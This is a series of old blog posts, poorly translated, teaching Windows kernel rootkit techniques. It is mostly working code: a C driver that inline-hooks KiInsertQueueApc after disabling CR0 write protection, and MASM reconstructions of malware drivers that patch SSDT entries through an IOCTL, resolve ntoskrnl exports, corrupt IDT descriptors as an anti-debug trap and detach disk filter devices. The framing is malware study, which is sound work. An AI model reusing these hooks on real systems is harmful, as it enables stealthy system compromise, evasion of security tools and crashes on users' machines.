Thursday, October 13, 2011

Learn and study Rootkit Specials 9: kernel hook - inline hook(2)

3)Two-dimensional array is used to save function front byte, Array form is array[15][30];
  Each function have 30 bytes usable on 15 function. First save orginal function front byte on 30 bytes, Then write 0xe9, Continue write array current place with original hook function address offset that we already copy bytecode after place among re;atove offset value.
  The array effect, when after hook function, execute to finish our hook function, Then need recover original api function, Because original api function front five bytes already is rewrite,  function original front byte already save to appropriate array, So there idea is, execute machine code on the array, array machine code execute to the end, jump to original function some offset place, continue to execute.

3.  Inline hook
1)  IoAllocateMdl ,Allocate one mdl, Hook function is mapping to here.
2)  MmProbeAndLockPages, Lock page
3)  do away with write-protect
4)  Save function front machine code to homologous  two-dimensional array, rewrite front five bytes, Let is jump to start address on .data:00034E98 jump table homologous jump function.
5)  Recover write-protect
6)  MmUnlockPages
7)  IoFreeMdl


4.  Revover After Inline hook


The example is hook了KiInsertQueueApc, Because KiInsertQueueApc isn't export, need find on KeInsetQueueApc.
#include <ntddk.h>
#include <ntifs.h>
ULONG g_KiInsertQueueApc;
char g_oricode[8];
ULONG g_uCr0;
char *non_paged_memory;

void WPOFF()
{
  
    ULONG uAttr;
  
    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
  
    g_uCr0 = uAttr; //Save original CR0
  
}

VOID WPON()
{
  
    _asm
    {
        sti
        push eax;
        mov eax, g_uCr0; //Recover orginal CR
        mov cr0, eax;
        pop eax;
    };
  
}

__declspec(naked) my_function_detour_KiInsertQueueApc()
{
  __asm
  {   
    mov edi,edi
    push ebp
    mov  ebp, esp
    push ecx
    mov eax,ecx
    _emit 0xEA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0xAA
    _emit 0x08
    _emit 0x00
  }
}

ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
    UNICODE_STRING UniCodeFunctionName;
    RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
    return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );  

}

// 根据特征值,从KeInsertQueueApc搜索中搜索KiInsertQueueApc
ULONG FindKiInsertQueueApcAddress()
{
  char * Addr_KeInsertQueueApc = 0;
  int i = 0;
  char Findcode[] = { 0xE8, 0xcc, 0x29, 0x00, 0x00 };
  ULONG Addr_KiInsertQueueApc = 0;
    Addr_KeInsertQueueApc = (char *) GetFunctionAddr(L"KeInsertQueueApc");
  for(i = 0; i < 100; i ++)
  {
        if( Addr_KeInsertQueueApc[i] == Findcode[0] &&
      Addr_KeInsertQueueApc[i + 1] == Findcode[1] &&
      Addr_KeInsertQueueApc[i + 2] == Findcode[2] &&
      Addr_KeInsertQueueApc[i + 3] == Findcode[3] &&
      Addr_KeInsertQueueApc[i + 4] == Findcode[4]
      )
    {
      Addr_KiInsertQueueApc = (ULONG)&Addr_KeInsertQueueApc[i] + 0x29cc + 5;
      break;
    }
  }
  return Addr_KiInsertQueueApc;
}

VOID DetourFunctionKiInsertQueueApc()
{

  char *actual_function = (char *)g_KiInsertQueueApc;
  unsigned long detour_address;
  unsigned long reentry_address;
  KIRQL oldIrql;
  int i = 0;

  char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };

  reentry_address = ((unsigned long)g_KiInsertQueueApc) + 8;

  non_paged_memory = ExAllocatePool(NonPagedPool, 256);
 
  for(i=0;i<256;i++)
  {
    ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_KiInsertQueueApc)[i];
  }

  detour_address = (unsigned long)non_paged_memory;
 
  *( (unsigned long *)(&newcode[1]) ) = detour_address;

  for(i=0;i<200;i++)
  {
    if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
      (0xAA == ((unsigned char *)non_paged_memory)[i+3]))
    {
      *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
      break;
    }
  }


    oldIrql = KeRaiseIrqlToDpcLevel();
  for(i=0;i < 8;i++)
  {
    g_oricode[i] = actual_function[i];
    actual_function[i] = newcode[i];
  }
    KeLowerIrql(oldIrql);
}

VOID UnDetourFunction()
{
    char *actual_function = (char *)g_KiInsertQueueApc;
  KIRQL oldIrql;
  int i = 0;
 
  WPOFF();
  oldIrql = KeRaiseIrqlToDpcLevel();

  for(i=0;i < 8;i++)
  {
    actual_function[i] = g_oricode[i];
  }
    KeLowerIrql(oldIrql);
    WPON();
  ExFreePool(non_paged_memory);
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
  DbgPrint("My Driver Unloaded!");
  UnDetourFunction();
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  DbgPrint("My Driver Loaded!");
  theDriverObject->DriverUnload = OnUnload;
   
    g_KiInsertQueueApc = FindKiInsertQueueApcAddress();
  DetourFunctionKiInsertQueueApc();

  return STATUS_SUCCESS;
}

Wednesday, October 12, 2011

Learn and study Rootkit Specials 8: kernel hook - inline hook(1)

Author:combojiang
Recently in order to write rootkit inline hook article, specially disassemble famous rougue software(cdnprot.sys), The file is huge - 152k, Take my some overnight, Let me less watch tv play, The software use many good technology, anyway, Technology isn't wrong itself. Because we talk theme about Inline hook today, only lead everybody watch how he use the technology of inline hook.

What is inline hook, The basic concepts, We won't talk on here, May use google to search.
Inline hook is used very easily and simple on ring3, but this is trouble on ring0,BSOD will show when wrong to use. We talk inline hook on kernel today, Let us watch that how to use.

First talk thinking:

1.  One of the preparation before hook:
In total hook fifteen native api function on the software. They are:
ZwOpenKey , ZwClose, ZwQueryValueKey, ZwDeleteKey, ZwSetValueKey, ZwCreateKey,
ZwDeleteValueKey. ZwEnumerateValueKey,ZwRestoreKey, ZwReplaceKey, ZwTerminateProcess, ZwSetSecurityObject, ZwCreateThread, ZwTerminateThread, ZwQuerySystemInformation.

On the fifteen function, include two undocumented function, ZwCreateThread, ZwTerminateThread,The two function need find on export table from ntdll.dll.  Other, All native api function finaly realize both on ntoskrnl module, So we use  functional 0B number of fuZwQuerySystemInformation, find memory load place of ntoskrnl, Then one by one judge these need hook function address on ssdt table, Whether on place. Ensure to use first.

2.  One of the preparation before hook:
1)One global function table, save need hook fifteen function original address.
The table start address: .data:00036860, Ending: data:0003689C 60 bytes in total.
2)One hook function address table, part corresponding to jump of hook fifteen function.
The table start address: .data:00034E98
.data:00034E98 off_34E98        dd offset sub_1EEA8   
.data:00034E9C                 dd offset sub_1EE82
.data:00034EA0                 dd offset sub_1EF82
.data:00034EA4                 dd offset sub_1EF4A
.data:00034EA8                 dd offset sub_1EF6D
.data:00034EAC                 dd offset sub_1EEC1
.data:00034EB0                 dd offset sub_1EED2
.data:00034EB4                 dd offset sub_1EEF5
.data:00034EB8                 dd offset sub_1EF31
.data:00034EBC                 dd offset sub_1EF18
.data:00034EC0                 dd offset sub_1EF93
.data:00034EC4                 dd offset sub_1EFA8
.data:00034EC8                 dd offset sub_1EFBD
.data:00034ECC                 dd offset sub_1EFE6
.data:00034ED0                 dd offset sub_1EFFF

The function both realize on cdnprot.sys.



Tuesday, October 11, 2011

Sorry,Can't update

Because friend come in, So can't update, Sorry.

Monday, October 10, 2011

Too tried, Rest one day.

I am work every day, Too tried, So rest one day.
Sorry.

Sunday, October 9, 2011

Learn and study Rootkit Specials 7: kernel hook - SSDT hook(3)

;**************************************************************************
; Give a index value and function address, Modify ssdt table
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
 
  mov  ecx, Index
  mov  eax, KeServiceDescriptorTable
  cmp  ecx, [eax+8]  ;NumberOfService
  jb  @f
  xor  al, al
  jmp  Quit
 
@@:
    ;Put off write-protect
  push  eax
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax
  pop  eax
 
  mov  eax, KeServiceDescriptorTable
  mov  eax, [eax]
  mov  edx, Value; Value
  lea  ecx, [eax+ecx*4] ; Target
  call  InterlockedExchange
 
  ;Recover write-protect
  push  eax
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
  pop  eax
 
Quit:
  ret
HookSSDTByFunIndex endp

;**************************************************************************
; hook ZwQuerySystemInfomation,Replace with NtQuerySystemInformation, return original value
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
  push  eax
  ;Put off write-protect
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax 
  pop  eax
 
  mov  ecx, KeServiceDescriptorTable
  mov  eax, FunAddr
  mov  eax, [eax+1] ;Through ZwQuerySystemInfomation get ssdt index
  mov  ecx, [ecx]   ;ServiceTableBase
  mov  edx, Value   ; Value
  lea  ecx, [ecx+eax*4] ; Target
  call  InterlockedExchange
  mov  ecx, eax
  push  eax
 
  ;recover write-protect
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
 
  pop  eax
  mov  eax, ecx
  ret
HookSSDT endp


SourceString wchar L(<\\DosDevices\\Swk0217\0>)


swkUnLoad proc pDriverObject :dword
  LOCAL DestinationString:UNICODE_STRING

  push  ecx
  push  ecx
  push  offset SourceString ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  mov  eax, pDriverObject
  push  dword ptr [eax+4] ; DeviceObject
  call  IoDeleteDevice
 
  ret
swkUnLoad endp

aNtquerysystemi  db 'NtQuerySystemInformation',0

DispatchFunction:
  push  esi              
  mov  esi, [esp+0Ch]   ;pIrp
  mov  eax, [esi+60h]   ;Take IRP.CurrentStackLocation
 
  and  dword ptr [esi+18h], 0 ;IRP中的IoStatus zero setting,see ntddk.inc
  and  dword ptr [esi+1Ch], 0
 
  cmp  byte ptr [eax],  0Eh  ;IO_STACK_LOCATION.MajorFunction
  mov  edx, [esi+0Ch]       ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [eax+8]         ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  push  edi
  jnz  CreateAndClose
  mov  eax, [eax+0Ch]       ;IoControlCode
  cmp  eax, 83471060h      
  jz  GetSSDTNum           ;Take out ssdt function count
  cmp  eax, 83471064h
  jz  GetSSDTFunction      ;Take out ssdt function table
  cmp  eax, 83471068h
  jz  HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
  cmp  eax, 8347106Ch
  jz  RestoreHookSSDT      ;Recover front hook ZwQuerySystemInformation
  cmp  eax, 83471070h
  jz  ModifySSDTByFunIndex ;in line with user given function address and ssdt table index, modify ssdt table
  mov  dword ptr [esi+18h], 0C000000Dh  ;IoStatus
  jmp  CreateAndClose
 
ModifySSDTByFunIndex:
  push  8
  pop  edi
  cmp  ecx, edi  ;Judge InputBufferLength whether equal to 8
  jnz  CreateAndClose
  push  dword ptr [edx+4] ;The second dword value on SystemBuffer,represent a ssdt table index
  push  dword ptr [edx]   ;;The first dword value on SystemBuffer,represent given function address
  call  HookSSDTByFunIndex
  test  al, al
  jz  CreateAndClose
  mov  [esi+1Ch], edi
  jmp  CreateAndClose
 
RestoreHookSSDT:  ;Recover ssdt table
  mov  eax, OldSSDTValueOfZwQuerySystemInformation
  test  eax, eax
  jz  CreateAndClose
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  HaveDone
  push  ecx
  push  eax
  call  HookSSDT
 
HaveDone:
  and  OldSSDTValueOfZwQuerySystemInformation, 0
  jmp  CreateAndClose
 
HookZwQuerySystemInformation:
  call  near ptr FunctionArray+0Eh  ;execute  push 24h, through ZwQuerySystemInformation takce out ntoskrnl.exe memory load address
  test  eax, eax
  jz  CreateAndClose
  push  offset aNtquerysystemi     ; "NtQuerySystemInformation"
  push  eax
  call  GetProcessFromNtoskrnl
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  CreateAndClose
  push  ecx
  push  eax
  call  HookSSDT
  mov  OldSSDTValueOfZwQuerySystemInformation, eax ;Save function address of original ssdt table
  jmp  CreateAndClose
 
GetSSDTFunction:
  mov  eax, KeServiceDescriptorTable
  mov  edi, [eax+8] ;NumberOfService
  push  ebx
  mov  ebx, edi
  shl  ebx, 2       ;NumberOfService*4
  cmp  ecx, ebx     ;Compare import length with NumberOfService*4,Judge apply for buffer whether enough
  pop  ebx
  jb  CreateAndClose
  xor  ecx, ecx
  test  edi, edi
  jbe  GetSSDTFunctionErr
 
GetNextSSDTFunction:
  mov  eax, [eax]
  mov  eax, [eax+ecx*4]
  mov  [edx+ecx*4], eax
  mov  eax, KeServiceDescriptorTable
  inc  ecx
  cmp  ecx, [eax+8]
  jb  GetNextSSDTFunction
 
GetSSDTFunctionErr:
  mov  eax, [eax+8]
  shl  eax, 2
  jmp  Quit
 
GetSSDTNum:
  push  4
  pop  eax
  cmp  ecx, eax ;input length <4 jump
  jb  CreateAndClose
  mov  ecx, KeServiceDescriptorTable
  mov  ecx, [ecx+8] ;NumberOfService
  mov  [edx], ecx  ;edx point IRP.AssociatedIrp.SystemBuffer
 
Quit:
  mov  [esi+1Ch], eax
 
CreateAndClose:
  mov  edi, [esi+18h] ;IoStatus
  xor  dl, dl
  mov  ecx, esi
  call  IofCompleteRequest
  mov  eax, edi
  pop  edi
  pop  esi
  ret


wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)


start proc DriverObject:dword
  LOCAL SymbolicLinkName:UNICODE_STRING
  LOCAL DestinationString:UNICODE_STRING
  LOCAL DeviceObject:dword
 
  and  DeviceObject, 0
  push  esi
  push  edi
  mov  edi, RtlInitUnicodeString
  push  offset wcharDeviceName ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  edi             ; RtlInitUnicodeString
  mov  esi, DriverObject
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  598347h    ; DeviceType
  lea  eax, DestinationString
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  esi    ; DriverObject
  call  IoCreateDevice
  test  eax, eax
  jl  @f
  push  offset wcharSymbolicLink ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  edi ; RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink
  mov  ecx, offset DispatchFunction
  mov  [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
  mov  [esi+40h], ecx ;IRP_MJ_CLOSE
  mov  [esi+38h], ecx ;IRP_MJ_CREATE
  mov  dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
 
@@:
  pop  edi
  pop  esi
  ret
start endp


end start

Saturday, October 8, 2011

Learn and study Rootkit Specials 6: kernel hook - SSDT hook(2)

  ; Example: ImageName: windows\system32\ndis.sys, So ModuleNameOffset is 0x11 
  movzx  eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,Point offset of name
  lea  eax, [eax+esi+1Ch]  ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
  push  eax   ;don't clude path name
  call  _stricmp
  pop  ecx             ;出栈
  pop  ecx
  test  eax, eax
  jnz  ContinueLoop
  mov  eax, [esi+8]    ;return SYSTEM_MODULE_INFORMATION.Base
  mov  [ebp-24h], eax  ;return save on [ebp-24h]
 
ReleaseMemory:
  push  edi
  call  ExFreePool
  jmp      ERRORRET
 
ContinueLoop:
  inc  dword ptr [ebp-20h] ;Loop variable increas
  add  esi, 11Ch           ;Take next element of SYSTEM_MODULE_INFORMATION type
  mov  [ebp-2Ch], esi      ;Temporary save current SYSTEM_MODULE_INFORMATION element
  jmp  FORLOOP


SehFunction     proc near              
    mov     esp, [ebp-18h]
ERRORRET::                                                              
    or      dword ptr [ebp-4], 0FFFFFFFFh
    mov     eax, [ebp-24h]
ErrAllocMem::                            
    ret
SehFunction    endp


;********************************************************************************************
; Equivalent to GetProcessAddress function, hModule point ntoskrnl.exe module, Find the PE export table,
; Find function address of pFunctionName.
; Operating principle: Traverse export table's AddressOfFunctions, Every take one function address, In line with it index of AddressOfFunctions中的
;Traverse whole AddressOfNames table and AddressOfNameOrdinals table, Find sequence number to matched function with AddressOfFunctions
;contrast function name and import paramter 2 whether identical, The same return current function address from AddressOfFunctions,
;Different continue find ...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword

  LOCAL AddressOfNameOrdinals:dword;Function name index talbe
  LOCAL AddressOfNames:dword       ;Function name address talbe
  LOCAL OutputTable:dword          ;Export table address
  LOCAL AddressOfFunctions:dword   ;Point export function address table point
  LOCAL pFunctionName:dword        ;function name
  LOCAL i:dword                    ;loop variable
  LOCAL CurAddressOfNameOrdinals:dword ;Current function name serial number
  LOCAL CurAddressOfNames:dword        ;Current function address
  LOCAL nIndex:dword                   ;loop variable
  LOCAL myFoundOutFunctionName:dword   ;Function pointer is found from function address table
  LOCAL InputFunctionName:dword         ;input function name pointer, point paramter 2
  LOCAL SecondCharacterOfFunctionName:byte
  LOCAL FirstCharacterOfFunctionName:byte
 
  mov  edx, hModule
  mov  eax, [edx+3Ch]
  add  eax, edx           ; point PEHeader
  cmp  word ptr [edx],  5A4Dh ; 'MZ'
  jnz  Quit
  cmp  dword ptr [eax], 4550h ;'PE'
  jnz  Quit
  mov  eax, [eax+78h]
  add  eax, edx          ;point export
  mov  OutputTable, eax
 
  mov  edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
  add  edi, edx
  mov  AddressOfNames, edi
 
  mov  esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
  add  esi, edx
  mov  AddressOfFunctions, esi
 
  mov  ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
  add  ecx, edx
  mov  AddressOfNameOrdinals, ecx
 
  and  nIndex, 0
  mov  edx, pFunctionName
 
StartSearch:
  mov  ebx, nIndex
  cmp  ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
  jnb  Quit
 
  cmp  dword ptr [esi], 0 ;First function addresws judge whether null on AddressOfFunctions
  jz  NextAddressOfFunction          ;If null, Take next function on IMAGE_EXPORT_DIRECTORY.AddressOfFunctions table
 
  mov  CurAddressOfNames, edi
  mov  CurAddressOfNameOrdinals, ecx
  and  i, 0
 
StartFindFunctionFromAddressOfNames:
  mov  ebx, i
  cmp  ebx, [eax+18h]   ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
  jnb  OutOfRange
  mov  ebx, CurAddressOfNameOrdinals
  movzx  ebx, word ptr [ebx]
  cmp  ebx, nIndex      ;Judge index from AddressOfFunctions to get whether fit  AddressOfNameOrdinals get index
  jnz  NextAddressOfNameOrdinals
  mov  edx, CurAddressOfNames
  mov  edx, [edx]
  add  edx, hModule
  mov  pFunctionName, edx   ;Take function name
 
OutOfRange:
  test  edx, edx        ;Judge whether null
  jz  ContinueWork
 
  mov  myFoundOutFunctionName, edx    ;TS function name
  mov  edx, FunctionName
  mov  InputFunctionName, edx         ;TS imput function name
 
CompareFunctionName:
  mov  edx, InputFunctionName
  mov  dl, [edx]
  mov  FirstCharacterOfFunctionName, dl
  mov  ebx, myFoundOutFunctionName
  cmp  dl, [ebx]
  jnz  Different     ;disaffinity
  test dl, dl       ;Judge InputFunctionName whether null, if null, return first function address table
  jz  RetCurrentFunctionAddress
 
  mov  edx, InputFunctionName  ;Contrast function name next character
  mov  dl, [edx+1]
  mov  SecondCharacterOfFunctionName, dl
  cmp  dl, [ebx+1]
  jnz  Different
 
  add  InputFunctionName, 2
  add  myFoundOutFunctionName, 2
  test  dl, dl
  jnz   CompareFunctionName
 
RetCurrentFunctionAddress:
  xor  edx, edx           ;edx = 0,mean find correspond function
  jmp  GetFunctionAddress
 
NextAddressOfNameOrdinals:
  add  CurAddressOfNames, 4
  add  CurAddressOfNameOrdinals, 2
  inc  i
  jmp  StartFindFunctionFromAddressOfNames
 
Different:
  sbb  edx, edx
  sbb  edx, 0FFFFFFFFh  ;edx = 1,表示没有找到对应的函数,继续找
 
GetFunctionAddress:
  test  edx, edx
  jnz  ContinueWork
 
  mov  esi, [esi]
  add  esi, hModule
  mov  eax, esi      ;return function address
  jmp  Founded
 
ContinueWork:
  xor  edx, edx
  mov  pFunctionName, edx
 
NextAddressOfFunction:
  add  esi, 4
  mov  AddressOfFunctions, esi
  inc  nIndex
  jmp  StartSearch
 
Quit:
  xor  eax, eax 
Founded:
  ret
GetProcessFromNtoskrnl endp


Friday, October 7, 2011

Learn and study Rootkit Specials 5: kernel hook - SSDT hook(1)

Author:combojiang
 Talk about SSDT hook, before have article of <<SSDT Hook的妙用-对抗ring0 inline hook>> by 堕落天才, If do not understand basic concept, You can watch the article.

Today we through example to learn how use, The example root in article by sudami.

The virus use vbs to call driver for finish it. swk0217d's main feature:

1.Take ssdt function count
2.Take all function on ssdt function table
3.hook ZwQuerySystemInformation
4.unhook ZwQuerySystemInformation
5.In line with user given function address and index of ssdt table, Modify ssdt table

Note:
1)When hook ZwQuerySystemInformation is executed, First through ZwQuerySystemInformation to found place of ntosknrl.exe module memory load, Then through export table of ntosknrl.exe to find address of NtQuerySystemInformation. Then hook ZwQuerySystemInformation. Author of the virus main objective is prevent SSDT function to be load, So Author recover in here, Author need use this function, But afraid the function already is tampered.

2)When unhook ZwQuerySystemInformation, Recover original ssdt after Virus author use to finish the function.


.386
.model flat,stdcall
option casemap:none


include w2k\ntstatus.inc
include w2k\ntddk.inc

include w2k\ntoskrnl.inc
includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib
include Swk0207.inc

.data
unk_10B80 db  4Eh ; N
          db  0E6h  ; ?
          db  40h  ; @
          db  0BBh  ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0

.code
;              6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0   int3  push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h

;***********************************************************************************************
; ZwQuerySystemInformation get memory load address of ntoskrnl.exe
;***********************************************************************************************

;typedef struct _SYSTEM_MODULE_INFORMATION  // Information Class 11
;{
;    ULONG  Reserved[2];  +0
;    PVOID  Base;         +08h
;    ULONG  Size;         +0ch
;    ULONG  Flags;        +10h
;    USHORT Index;        +14h
;    USHORT Unknown;      +16h
;    USHORT LoadCount;    +18h
;    USHORT ModuleNameOffset; +1Ah
;    CHAR   ImageName[256];   +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
;                  ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
;                    IN OUT PVOID SystemInformation,
;                    IN ULONG SystemInformationLength,
;                    OUT PULONG ReturnLength OPTIONAL );

;typedef struct _tagSysModuleList {
;    ULONG ulCount;
;    SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;

;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );

  xor  ebx, ebx
  mov  [ebp-24h], ebx
  mov  [ebp-4], ebx
 
  lea  eax, [ebp-1Ch]
  push  eax          ;ReturnLength
  push  ebx          ;SystemInformationLength = 0
  lea  eax, [ebp-20h]  
  push  eax          ;SystemInformation
  push  0Bh          ;SystemModuleInformation,ergodic module
  mov  esi, ZwQuerySystemInformation
  call  esi ; ZwQuerySystemInformation ,First call to get need buffer length
 
  mov  [ebp-28h], eax
  cmp  eax, 0C0000004h
  jnz  ERRORRET
 
  push  206B6444h ;   ' kdD' lable
  push  dword ptr [ebp-1Ch] ;apply for length
  push  ebx                 ;NonPagedPool
  call  ExAllocatePoolWithTag
  mov  edi, eax
  mov  [ebp-30h], edi   ;Keep return value
 
  cmp  edi, ebx        ;Judge return value whether is null
  jnz  NextStep
  or  dword ptr [ebp-4], 0FFFFFFFFh
  xor  eax, eax
  jmp  ErrAllocMem
 
NextStep:
  lea  eax, [ebp-34h]          ;ReturnLength
  push  eax
  push  dword ptr [ebp-1Ch] ;SystemInformationLength
  push  edi                 ;SystemInformation
  push  0Bh                 ;SystemModuleInformation
  call  esi                 ; ZwQuerySystemInformation
  mov  [ebp-28h], eax
 
  cmp  eax, ebx
  jl  ReleaseMemory
 
  mov  eax, [edi]
  mov  [ebp-1Ch], eax  ;Keep YSTEM_MODULE_INFORMATION element count by ZwQuerySystemInformation return
  lea  esi, [edi+4] 
  mov  [ebp-2Ch], esi  ;Save firt address array by SYSTEM_MODULE_INFORMATION return 
  mov  [ebp-20h], ebx  ;Count variable zero clearing
 
FORLOOP:
  mov  eax, [ebp-1Ch] ;Beging for loop
  cmp  [ebp-20h], eax
  jnb  ReleaseMemory
  push  offset FunctionArray
 

Thursday, October 6, 2011

Learn and study Rootkit Specials 4: kernel hook - object hook(3)

; ***************************************************************************
; Check up offset address upper byte of 9 mark interrupt descriptor and E mark ;interrupt descriptor, if offset address upper byte of 9 mark interrupt ;descriptor is zero to exit, if isn't zero to judge offset address upper byte of ;E mark interrupt descriptor compare with offset address upper byte of 9 mark ;interrupt descriptor, if both equal to exit, If not offset address 16bit of ;offset address upper byte of E mark interrupt descriptor is set zero. Let it ;point error address. Destroy the interrupt function. Because many debugger ;articulate 0xE, The rootkit do this may to let the program create system BSOD ;when debug, That is anti debug trap by author.
;****************************************************************************

AntiDebug proc  near
  LOCAL nTemp:dword
  pusha
  sidt  fword ptr IDTData        
  mov  esi, dword ptr IDTData+2  ;Get base address
  mov  eax, 9                    ;index = 9, #interrupt 09
  shl  eax, 3                    ;each descriptor take up 8 bytes
  add  esi, eax                  ;esi point 9 mark descriptor           
  movzx  eax, word ptr [esi+6]     ;Take out upper 16 bit byte offset address interrupt function
  shl  eax, 10h
  mov  ax, [esi]                 ;Take low 16 bits offset address of interrupt function
  and  eax, 0FF000000h           ;Take a upper byte of offset address
  mov  nTemp, eax
  test  eax, eax
  jz  QUIT
  mov  esi, dword ptr IDTData+2 ;Take base address
  mov  eax, 0Eh                 ;index = E, #interrupt 0E
  shl  eax, 3                   ;Each descriptor take 8 bytes
  add  esi, eax                 ;esi piont E mark descriptor  
  movzx  eax, word ptr [esi+6]    ;Take upper 16 bit byte offset address interrupt function
  shl  eax, 10h
  mov  ax, [esi]                ;Take a upper byte of offset address
  and  eax, 0FF000000h          ;Take a upper byte of offset address
  cmp  eax, nTemp               ;Compare upper byte offset address of two interrupt descriptor
  jz  QUIT
  mov  word ptr [esi+6], 0   ;Modify offset address of interrupt gates, upper 16 bit is set zero
 
QUIT:
  popa
  retn
AntiDebug endp


;************************************************************************************
;  Dispose IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE to request
;  IRP_MJ_CREATE routine take charge get disc device object and check the device stack whether load other device, IF have to save the device and unload it.
;  Call IoGetDeviceObjectPointer to get device object that be device named-"\\Device\\Harddisk0\\DR0" .
;  IRP_MJ_CLOSE recover DR0 to attach
;  IRP_MJ_DEVICE_CONTROL中对0xF0003C04 mark respond, First in line with a constant Key to be create decrypt array, Then
;  user imported code operate with decrypt array, finaly create a secret key, last use the secret key find front sys resource,
;  After decrypt to take content return user program.
;************************************************************************************
DispatchFunction proc device:dword,pIrp:dword

  LOCAL ObjectName:UNICODE_STRING
  LOCAL DestinationString:OEM_STRING
  LOCAL FileObject:dword
  LOCAL DeviceObject:dword
 
  push  edi
  push  esi
  push  ebx
  mov  edi, pIrp
  mov  dword ptr [edi+1Ch], 0 ;zero setIoStatus on IRP, see ntddk.inc
  mov  dword ptr [edi+18h], 0
 
  mov  esi, [edi+60h] ;Take IRP.CurrentStackLocation
  movzx  eax, byte ptr [esi];IO_STACK_LOCATION.MajorFunction
  or  eax, eax
  jnz  IRPMJCLOSE
  jmp  short $+2          ;junk instruction
 
  ;IRP_MJ_CREATE request, Will break \Device\Harddisk0\DR0 attach device on IRP_MJ_CREATE上附加的设备.
  push  offset SourceString ; "\\Device\\Harddisk0\\DR0"
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitAnsiString
  push  1    ; AllocateDestinationString
  lea  eax, DestinationString
  push  eax    ; SourceString
  lea  eax, ObjectName
  push  eax    ; DestinationString
  call  RtlAnsiStringToUnicodeString
  xor  eax, eax
  mov  FileObject, eax
  mov  DeviceObject, eax
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  lea  eax, FileObject
  push  eax    ; FileObject
  push  80h    ; DesiredAccess
  lea  eax, ObjectName
  push  eax    ; ObjectName
  call  IoGetDeviceObjectPointer
  mov  eax, FileObject
  jmp  short $+2 ;junk instruction
  mov  eax, [eax+4] ;FILE_OBJECT.DeviceObject 见ntddk.inc
  mov  g_DeviceObject, eax
  cmp  dword ptr [eax+10h], 0 ;DEVICE_OBJECT.AttachedDevice
  jz  ClearAttachedDevice
  jmp  short $+2 ;junk instruction
  mov  ecx, [eax+10h]
  xchg  ecx, g_AttachedDevice
  mov  [eax+10h], ecx
 
ClearAttachedDevice:
  push  FileObject
  call  ObDereferenceObject
  lea  eax, ObjectName
  push  eax    ; UnicodeString
  call  RtlFreeUnicodeString
  jmp  Quit
 
IRPMJCLOSE:
  cmp  eax, 2
  jnz  IRPMJDEVICECONTROL
  mov  eax, g_DeviceObject
  or  eax, eax
  jz  Quit
  mov  ecx, g_AttachedDevice
